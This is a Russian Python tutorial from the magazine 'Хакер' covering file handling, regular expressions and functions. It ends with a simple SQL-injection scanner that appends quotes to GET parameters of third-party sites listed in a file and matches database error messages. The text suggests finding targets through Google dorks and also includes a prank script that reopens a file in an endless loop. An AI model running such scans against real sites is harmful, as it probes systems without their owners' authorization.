Найти:

- Взлом
- Приватность
- Трюки
- Кодинг
- Админ
- Geek
- Обучение
- Магазин

- Windows
- Linux
- Android
- Железо
- Мессенджеры
- Утечки
- Коронавирус
- Все выпуски «Хакера»

### Содержание статьи

- Работаем с файлами
- Регулярные выражения
- Функции
- Практика: проверка SQL-уязвимостей

Сегодня мы поработаем с файловой системой ОС — научимся ходить по каталогам, открывать и изменять файлы. Затем освоим могущественные заклинания под названием «регулярные выражения», изучим тонкости создания и вызова функций и под конец напишем простенький сканер SQL-уязвимостей. И все это в одном недлинном уроке!

#### От редакции

Эта статья — часть цикла «Python с абсолютного нуля», где мы рассказываем об азах Python в нашем фирменном нескучном стиле. Ты можешь читать их по порядку или выбирать какие‑то области, которые хотел бы подтянуть.

- Урок 1: Переменные, типы данных, условия и циклы
- Урок 2: Строки, файлы, исключения и работа с интернетом

Первые два урока доступны целиком без платной подписки. Этот — почти целиком: за исключением последнего примера и домашнего задания.

## Работаем с файлами

Начнем, как всегда, с несложных вещей. В Python есть модуль с лаконичным названием `os`, который (ты не поверишь!) предназначен для взаимодействия программы с операционной системой, в том числе для управления файлами.

Первым делом, конечно, нужно импортировать его в начале нашего скрипта:

`
import os
`

И теперь нам открываются разные интересные возможности. К примеру, мы можем получить путь к текущей папке. Сначала она совпадает с той, в которой ты был при запуске скрипта (даже если сам скрипт находится где‑то в другом месте), но по ходу исполнения программы мы можем менять это значение при помощи функции `os.chdir()`.

`
# Возвращает путь к текущей рабочей папке
pth=os.getcwd()
print(pth)
# Устанавливает путь к текущей рабочей папке, в данном случае это диск D:/
os.chdir(r'D:/')
`

#### info

Если ты работаешь в Windows, то в пути к файлу или папке перед открывающей кавычкой указывай букву `r` (что означает raw) или вместо одной косой черты в пути ставь две.

Попробуем получить список файлов с расширением .py, находящихся в текущей директории. Для этого используем модули os и fnmatch.

`
import os
import fnmatch
# В цикле, с помощью os.listdir('.') получим список файлов
# в текущей директории (точка в скобках как раз ее и обозначает)
for fname in os.listdir('.'):
# Если у текущего имени файла расширение .py, то печатаем его
if fnmatch.fnmatch(fname, '*.py'):
print(fname)
`

Модуль fnmatch позволяет искать в строках определенный текст, подходящий по маске к заданному шаблону:

- `*` заменяет любое количество любых символов;
- `?` заменяет один любой символ;
- `[seq]` заменяет любые символы из последовательности в квадратных скобках;
- `[!seq]` заменяет любые символы, кроме тех, что присутствуют в квадратных скобках.

Давай безжалостно удалим какой‑нибудь файл:

`
import os
(os.remove(r'D:\allmypasswords.txt'))
`

Переименуем файл:

`
import os
os.rename('lamer.txt','xakep.txt')
`

А теперь создадим папку по указанному пути и сразу же удалим ее. Для этого пригодится модуль shutil, где есть функция `rmtree()`, которая удаляет папку вместе с содержимым.

`
import os
import shutil
os.makedirs(r'D:\secret\beer\photo') # Создает все папки по указанному пути
shutil.rmtree(r'D:\secret\beer\photo') # Удаляет папку вместе с ее содержимым
`

Допустим, ты хочешь получить список всех файлов, содержащихся в папках по указанному пути (учитывая вложенные папки тоже), чтобы найти что‑то интересное. Скрипт будет выглядеть следующим образом:

#### warning

Будь осторожен — скрипт в таком виде обшарит весь диск D. Если он у тебя есть и там много хлама, то процесс может затянуться.

`
import os
for root, dirs, files in os.walk(r'D:'):
for name in files:
fullname = os.path.join(root, name)
print(fullname)
if('pass' in fullname):
print('Бинго!!!')
`

Функция walk() модуля os принимает один обязательный аргумент — имя каталога. Она последовательно проходит все вложенные каталоги и возвращает объект‑генератор, из которого получают:

- адрес очередного каталога в виде строки;
- список имен подкаталогов первого уровня вложенности для данного каталога;
- список имен файлов данного каталога.

#### info

Генератор — это объект, который сразу при создании не вычисляет значения всех своих элементов. Этим генераторы отличаются от списков — те хранят в памяти все свои элементы, и удалить их можно только программно. Вычисления с помощью генераторов называются ленивыми, они экономят память. Подробнее мы рассмотрим генераторы в следующих уроках.

Сейчас покажу, как узнать размер любого файла, а также дату его модификации.

`
import os.path
# Модуль для преобразования даты в приемлемый формат
from datetime import datetime
path = r'C:\Windows\notepad.exe'
# Получим размер файла в байтах
size = os.path.getsize(path)
# А теперь в килобайтах
# Две косые черты — это целочисленное деление
ksize = size // 1024
atime = os.path.getatime(path)
# Дата последнего доступа в секундах с начала эпохи
mtime = os.path.getmtime(path)
# Дата последней модификации в секундах с начала эпохи
print ('Размер: ', ksize, ' KB')
print ('Дата последнего использования: ', datetime.fromtimestamp(atime))
print ('Дата последнего редактирования: ', datetime.fromtimestamp(mtime))
`

#### info

Для операционных систем Unix 1 января 1970, 00:00:00 (UTC) — точка отсчета времени, или «начало эпохи». Чаще всего время в компьютере вычисляется в виде прошедших с этого момента секунд и лишь затем переводится в удобный для человека вид.

Давай пошутим над юзером: создадим какой‑нибудь файл и будем постоянно его открывать с помощью той программы, которой этот файл обычно открывается в системе:

`
import os
# Модуль time понадобится для паузы, чтобы не слишком часто открывалось
import time
# Создаем текстовый файл
f=open('beer.txt','w',encoding='UTF-8')
f.write('СРОЧНО НАЛЕЙТЕ ХАКЕРУ ПИВА, ИНАЧЕ ЭТО НЕ ЗАКОНЧИТСЯ!!')
f.close()
while True:
# Открываем файл программой по умолчанию
os.startfile('beer.txt')
# Делаем паузу в одну секунду
time.sleep(1)
`

Ниже приведен список еще некоторых полезных команд:

- `os.path.basename('путь')` — возвращает название файла или папки в конце пути;
- `os.path.dirname('путь')` — возвращает родительский путь к объекту пути;
- `os.path.splitext('путь')` — разделяет путь на путь и расширение файла;
- `os.path.exists('путь')` — существует ли путь до файла или папки;
- `os.path.isfile('путь')` — является ли объект пути файлом (существующим);
- `os.path.isdir('путь')` — является ли объект пути папкой (существующей).

## Регулярные выражения

Регулярные выражения — это специальные шаблоны для поиска и замены строк в тексте. Вообще говоря, их вполне можно считать самостоятельным языком, и его изучение выходит за рамки этого цикла. Мы пройдемся по самым основам и по использованию регулярок в Python.

#### www

Подробнее о регэкспах ты можешь почитать в документации Python, в Википедии или в книге Джеффри Фридла, которая так и называется — «Регулярные выражения».

Мы не раз писали о полезных сайтах, которые помогают работать с регулярными выражениями: CyberChef, RegExr, txt2re. Помимо этого, можешь обратить внимание на сервис regex101.com и сайт RegexOne с интерактивным тренажером.

За работу с регулярными выражениями в Python отвечает модуль re. Первым делом импортируем его.

`
import re
`

В качестве простейшего паттерна мы можем использовать какое‑нибудь слово. Пусть по традиции это будет «пиво»:

`
import re
pattern = r"пиво"
string = "Хакер знает, что пиво играет во взломе решающую роль. Свежее пиво — ключ к сисадмину. Пока сисадмин ходит писать, можно сесть за его комп и внедрить троян."
result = re.search(pattern, string)
print(result.group(0))
`

Команда `re.search(pattern,string)` ищет в тексте `string` первое вхождение шаблона `pattern` и возвращает группу строк, доступ к которым можно получить через метод `.group()`. Но команда `search` ищет только первое вхождение шаблона. Поэтому в нашем случае вернется всего один результат — слово «пиво», несмотря на то что в нашем тексте оно присутствует дважды.

Чтобы вернуть все вхождения шаблона в текст, используется команда `re.findall(pattern, string)`. Эта команда вернет список строк, которые присутствуют в тексте и совпадают с шаблоном.

`
import re
pattern = r"пиво"
string = "Хакер знает, что пиво играет во взломе решающую роль. Свежее пиво — ключ к сисадмину. Пока сисадмин ходит писать, можно сесть за его комп и внедрить троян."
result = re.findall(pattern, string)
print(result)
`

#### info

Обрати внимание, что шаблоны в регулярных выражениях имеют буковку r перед началом строки. Это так называемые сырые строки, в которых не работает символ экранирования с помощью обратного слеша `\`. При этом «сырая» строка не может заканчиваться этим символом.

В предыдущих двух примерах программ в качестве шаблона `pattern` для поиска строк ты использовал просто какое‑то слово. Но мощь регулярных выражений не в этом. Ты можешь заменять части шаблона специальными символами, чтобы под шаблон подходили не только конкретные слова, но и самые разные строки.

Давай, например, попробуем найти в тексте все слова, которые начинаются с «пи». Для этого используем специальный символ `\b` — он означает «начало слова». Сразу после него указываем, с чего должно начинаться слово, и напишем специальный символ `w`, который означает, что дальше в шаблоне должны идти какие‑то буквы (плюс означает, что их может быть одна или больше) до тех пор, пока не встретится небуквенный символ (например, пробел или знак препинания). Шаблон будет выглядеть так: `r"\bпи\w+"`.

`
import re
pattern = r"\bпи\w+"
string = "Хакер знает, что пиво играет во взломе решающую роль. Свежее пиво — ключ к сисадмину. Пока сисадмин ходит писать, можно сесть за его комп и внедрить троян."
result = re.findall(pattern, string)
print(result)
`
Краткая справка по специальным символам

Давай попробуем выполнить чуть более сложную задачу. Найдем в тексте все email с доменом `mail.ru`, если они там есть.

`
import re
pattern = r"\b\w+@mail\.ru"
string = "Если вы хотите связаться с админом, пишите на почту admin@mail.ru. По другим вопросам обращайтесь на support@mail.ru."
result = re.findall(pattern, string)
print(result)
`

Как видишь, мы использовали тот же трюк, что и в прошлый раз, — написали специальный символ `\b`, чтобы обозначить начало слова, потом `\w+`, что значит «одна или больше букв», а затем `@mail.ru`, заэкранировав точку, поскольку иначе она будет означать «любой символ».

Часто бывает нужно найти какой‑то элемент строки, окруженный двумя другими элементами. Например, это может быть URL. Чтобы выделить ту часть шаблона, которую нужно вернуть, используются скобки. Приведу пример, в котором ты получишь все адреса ссылок из какого‑то кусочка кода на HTML.

`
import re
string = 'Вы можете посмотреть карту сайта <a href="map.php">тут</a>. Посетите также <a href="best.php"раздел</a>'
pattern = r'href="(.+?)"'
result = re.findall(pattern,string)
print(result)
`

В коде выше использовался паттерн `r'href="(.+?)"` — в этом шаблоне искомая строка начинается с `href="` и заканчивается еще одной двойной кавычкой. Скобки нужны для того, чтобы указать, какую часть подходящей под шаблон строки ты хочешь получить в переменную `result`. Точка и плюс внутри скобок указывают, что внутри кавычек могут быть любые символы (кроме символа новой строки). Знак вопроса означает, что нужно остановиться перед первой же встреченной кавычкой.

#### info

Знак вопроса в регулярных выражениях используется в двух немного разных смыслах. Если он идет после одного символа, это значит, что символ может присутствовать или не присутствовать в строке. Если же вопросительный знак идет после группы символов, это означает «нежадный» (non-greedy) режим: такая регулярка будет стараться захватить как можно меньше символов.

Мы можем не только искать строки, но и заменять их чем‑то другим. Например, давай попробуем удалить из HTML-кода все теги. Для этого используется команда `re.sub(pattern,'чем заменять',string)`.

`
import re
string = 'Вы можете посмотреть карту сайта <a href="map.php">тут</a>. Посетите также <a href="best.php"раздел</a>'
pattern = r'<(.+?)>'
result = re.sub(pattern,'',string)
print(result)
`

Программа напечатает строку уже без тегов, так как мы заменили их пустой строкой.

Регулярные выражения — очень мощная штука. Освоив их, ты сможешь делать со строками почти все, что угодно, а в сочетании с кодом на Python — буквально что угодно. Для начала же можешь поэкспериментировать и изменить какие‑то из приведенных рецептов.

## Функции

Пришла пора подробнее поговорить о функциях. Мы уже неоднократно вызывали разные функции — как встроенные в Python (например, `print()`), так и из подключаемых модулей (например, `urllib.request()`). Но что такое функция изнутри и как их делать самостоятельно?

Представь, что у тебя есть какой‑то набор команд, которые нужно выполнять несколько раз, изменяя лишь входные данные. Такие блоки команд обычно выносят в отдельные кусочки программы.

#### info

В объектно ориентированном программировании функции являются методами какого‑либо класса и пишутся через точку от его названия.

`
s='Hello, xakep!'
print(s) # Функция
s.lower() # Метод
`

У функции могут быть входные параметры — это одна или несколько переменных, которые пишутся в скобках после имени функции. При вызове функции ты можешь передать ей аргументы для этих параметров. Некоторые из параметров могут быть необязательными или иметь значение по умолчанию — на случай, если его не передадут.

Объявление функции начинается с ключевого слова `def`, далее следует имя функции, параметры в скобках и программный код, отделенный четырьмя пробелами. Функция может возвращать одно или несколько значений с помощью ключевого слова `return`. Оно, кстати, прекращает работу функции, и, если за ним идут какие‑то команды, они будут пропущены.

Для примера разберем простейшую функцию, которая будет принимать в качестве аргументов два любых числа и перемножать их, возвращая результат умножения. Назовем ее umn.

`
def umn(a, b):
c = a * b
return c
`

Теперь, когда ты описал функцию, далее в этой же программе можно ее вызывать.

`
a = int(input('Введите первое число: '))
b = int(input('Введите второе число: '))
с = umn(a, b)
print(c)
`

Иногда надо задать один из параметров как необязательный, установив для него значение по умолчанию.

`
def umn(a, b=10):
c = a * b
return c
`

Теперь если ты вызовешь функцию и не передашь ей второй аргумент, то она просто будет считать его равным десяти, то есть будет умножать любое переданное число на десять.

`
с=umn(5)
print(c)
`

Несмотря на то что параметр `b` в данном случае равен по умолчанию 10 и необязателен для передачи в качестве второго аргумента, ты по‑прежнему можешь передавать второй аргумент, если это будет нужно, и тогда в качестве `b` будет использовано не `10`, а переданное значение.

`
с=umn(5, b=20)
print(c)
`

Внутри программы мы можем вызывать созданную нами функцию сколько угодно раз.

Давай создадим программу, которая будет считать прибавку к зарплате за каждую уязвимость, которую хакер нашел на работе. У каждого хакера будет своя зарплата, в зависимости от его ранга, но начисление прибавки для всех работает по принципу «+2% к базовой зарплате за уязвимость, если таких уязвимостей найдено больше чем три».

Сделаем функцию, которая принимает в качестве аргументов размер зарплаты сотрудника и количество найденных уязвимостей. Для округления результата используем функцию `round()`, которая округлит прибавку до целого числа.

`
def pribavka(zarplata, bugs):
k = 0
if bugs > 3:
k = round((bugs - 3) * 0.02 * zarplata)
return k
a = int(input('Введите зарплату сотрудника: '))
b = int(input('Введите количество найденных им уязвимостей за месяц: '))
c = pribavka(a, b)
print('В этом месяце прибавка к зарплате составит: ' + str(c))
`

Если функция должна возвращать больше одного значения, то можно перечислить их через запятую.

`
def myfunc(x):
a = x + 1
b = x * 2
return a, b
`

Функция будет возвращать список, но мы можем сразу присвоить возвращаемые значения каким‑нибудь переменным:

`
plusone, sum = myfunc(5)
`

Внутри функций вполне можно использовать переменные, которые встречались в коде программы до вызова функции. Но если внутри кода функции задать переменную с таким же именем, то эта переменная автоматически станет локальной и все дальнейшие изменения будут происходить с ней только в пределах функции.

Поясню на примере:

`
def boom(a, b):
z = 15
c = a * b * z
return c
z = 1
c = boom(15, 20)
print(z)
`

В результате выполнения программы ты увидишь единицу. Почему? Внутри кода функции мы присвоили переменной `z` значение 15, и она стала локальной, и все изменения с ней будут происходить внутри функции, тогда как в основной программе ее значение будет по‑прежнему равно единице.

Это немного трудно понять, но на самом деле удобно. Если ты пишешь несколько похожих функций, то вполне можешь использовать внутри них одинаковые названия локальных переменных, не опасаясь, что они будут влиять как‑то друг на друга.

Переменные, объявленные вне функций, называются глобальными. Если ты хочешь изнутри функции изменить одну из них, то объяви ее внутри функции, использовав ключевое слово `global`.

`
def addfive(num):
global a
a += num
a = 5
addfive(3)
print(a)
`

Эта программа напечатает 8. Обрати внимание, что мы ничего не возвращали через `return`, а просто изменили глобальную переменную. Кстати, функция, в которой ничего не возвращается через `return`, будет возвращать значение `None`.

`
a = 5
print(addfive(3))
`

На экране выведется слово `None`. Это бывает полезно, если функция возвращает что‑то только при выполнении каких‑то условий, а если они не выполнены, то выполнение не доходит до `return`. Тогда можно проверить, не вернула ли она `None`.

`
def isoneortwo(num):
if(num==1):
return 'Один'
if(num==2):
return 'Два'
print(isoneortwo(1))
print(isoneortwo(2))
print(isoneortwo(3))
`

Эта функция проверяет, равно ли значение единице или двойке, и если не равно, то вернет `None`. Это можно дальше проверить при помощи `if`:

`
if isoneortwo(3) is None:
print("Не 1 и не 2!")
`

Итак, мы научились создавать функции, вызывать их и возвращать из них параметры, а также использовать внутри функций глобальные переменные. С этого момента мы уже можем браться за относительно сложные примеры!

## Практика: проверка SQL-уязвимостей

На этот раз мы создадим скрипт, который будет искать SQL-уязвимости по разным URL. Заранее создадим файл `urls.txt`, в каждой строчке которого будут адреса сайтов, содержащие GET-параметры. Например:

`
http://www.taanilinna.com/index.php?id=325
https://www.925jewellery.co.uk/productlist.php?Group=3&pr=0
http://www.isbtweb.org/index.php?id=1493
`

Напишем скрипт, который получает список подобных URL из нашего файла и добавляет в каждый из GET-параметров знак кавычки, пытаясь вызвать ошибки SQL баз данных.

#### warning

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный с использованием приведенного исходного кода.

`
import re, requests, os, time
# Список регулярных выражений, свидетельствующих, что на веб-странице есть SQL-уязвимость
sql_errors = {
"MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"MySQL Query fail.*", r"SQL syntax.*MariaDB server"),
"PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"Warning.*PostgreSQL"),
"Microsoft SQL Server": (r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*odbc_.*", r"Warning.*mssql_", r"Msg \d+, Level \d+, State \d+", r"Unclosed quotation mark after the character string", r"Microsoft OLE DB Provider for ODBC Drivers"),
"Microsoft Access": (r"Microsoft Access Driver", r"Access Database Engine", r"Microsoft JET Database Engine", r".*Syntax error.*query expression"),
"Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Warning.*oci_.*", "Microsoft OLE DB Provider for Oracle"),
"IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error"),
"SQLite": (r"SQLite/JDBCDriver", r"System.Data.SQLite.SQLiteException"),
"Informix": (r"Warning.*ibase_.*", r"com.informix.jdbc"),
"Sybase": (r"Warning.*sybase.*", r"Sybase message")
}
# Функция, которая получает HTML-код веб-страницы и проверяет его на наличие ключевых слов,
# свидетельствующих о наличии SQL-инъекции, возвращает две переменные — True/False и тип уязвимой базы данных
def checksql(html):
for db, errors in sql_errors.items():
for error in errors:
if re.compile(error).search(html):
return True, db
return False, None
# Открываем файл, откуда будем брать URL, которые нужно проверить
f = open('urls.txt', 'r', encoding='UTF-8')
# Открываем файл, куда будем записывать найденные уязвимые URL
f2 = open('good.txt', 'w', encoding='UTF-8')
# Функция для тестирования URL на уязвимость: подставляем одинарную кавычку в GET-параметры
def checkcheck(url):
# Заменяем в URL значок & между параметрами, добавляя перед ним одинарную кавычку
x = url.replace("&", "'&")
# Очищаем URL от пробелов по обеим сторонам
ur = x.strip()
# Если вначале нет http, то добавляем его
if not(ur[0:4] == 'http'):
ur = 'http://' + ur
print('Проверяю: ' + ur)
try:
# Получаем HTML-код по URL
s = requests.get(ur + "'")
h = s.text
# Проверяем на уязвимости
a, b = checksql(h)
if(a):
print('Уязвим для SQL-инъекции: ' + ur)
f2.write(f'{ur} - {str(b)}\n')
else:
print('Уязвимость не найдена: ' + ur)
except:
print('Ошибка при проверке: ' + ur)
pass
# Последовательно пробуем URL из файла urls.txt
for site in f:
checkcheck(site)
f.close()
f2.close()
`

В файле goods.txt ты получишь список уязвимых сайтов (или ничего, если таковых не найдется).

Где взять список URL для проверки? Для поиска подобных URL часто используют Google dorks.

#### Домашнее задание

1. Усовершенствуй программу, выводящую листинг каталогов, чтобы она отмечала вложенные папки отступами — так, чтобы получилось дерево файлов.
2. Напиши программу, которая будет открывать заданный файл, при помощи регулярного выражения извлекать из него все адреса электронной почты и сохранять в другой файл, каждый email — на отдельной строке.
3. Попробуй самостоятельно написать регулярное выражение, которое будет находить все гиперссылки в коде веб‑страницы. Затем поищи готовый вариант такой регулярки в интернете и попробуй разобраться в ее устройстве.
4. Сделай функцию из программы, которая у тебя получилась при выполнении задания 2 (на входе — путь к файлу, на выходе — список адресов). Затем возьми код от задания 1 и сделай так, чтобы программа обходила каталоги и искала электронные адреса во всех встреченных текстовых файлах.

#### Оцени статью:

###### Что тебе понравилось больше всего?

Статья легкая и понятная Статья глубокая и подробная Интересуюсь этой темой Данные новые и актуальные Приятный стиль изложения

###### Что тебе не понравилось больше всего?

Статья поверхностная Статья слишком сложная Тема мне не интересна Данные устарели Неприятный стиль изложения
← Ранее Атака DeadRinger нацелена на телекоммуникационные компании Юго-Восточной Азии
Далее → Qrator Labs: 78% всех DDoS-атак — это UDP-, IP- и SYN-флуд
11 комментариев к записи Python с абсолютного нуля. Работаем с ОС, изучаем регулярные выражения и функции

#### Последние взломы

### HTB EarlyAccess. Эксплуатируем веб-уязвимости и мисконфиги Docker

### HTB Horizontall. Захватываем веб-сервер через уязвимости в Strapi и Laravel

### Препарируем P-Code. Как реверсить старый софт на Visual Basic

### HTB Anubis. Захватываем домен через сертификаты Active Directory

#### Компьютерные трюки

### Анатомия терминала. Осваиваем текстуальную графику

### Змей-стражник. Сигнализация для велосипеда из старого смартфона на Android

### M1 для хакера. Тестируем Homebrew, виртуалки, Docker и Node на новой архитектуре Apple

### Отключить всё! Ускоряем работу Windows 11 на старом железе

#### Свежие новости

- 12 часов назад

  ### Неизвестная хак-группа годами атаковала авиационный и транспортный секторы

- 13 часов назад

  ### Конференция ZeroNights 2022 состоится 23 июня 2022 года

- 14 часов назад

  ### Участник Team Xecuter получил 40 месяцев тюрьмы

- 15 часов назад

  ### Google выпустила срочное исправление для 0-day уязвимости в Chrome

- 1 день назад

  ### Накануне Супербоула клуб «Сан-Франциско Форти Найнерс» подвергся атаке шифровальщика

Вопросы по материалам и подписке: support@glc.ru
Отдел рекламы и спецпроектов: yakovleva.a@glc.ru
Контент 18+
Сайт защищен Qrator —
самой забойной защитой от DDoS в мире
Подписка для физлиц
Подписка для юрлиц
Реклама на «Хакере»
Контакты
Posting....
wpDiscuz
FooBox
…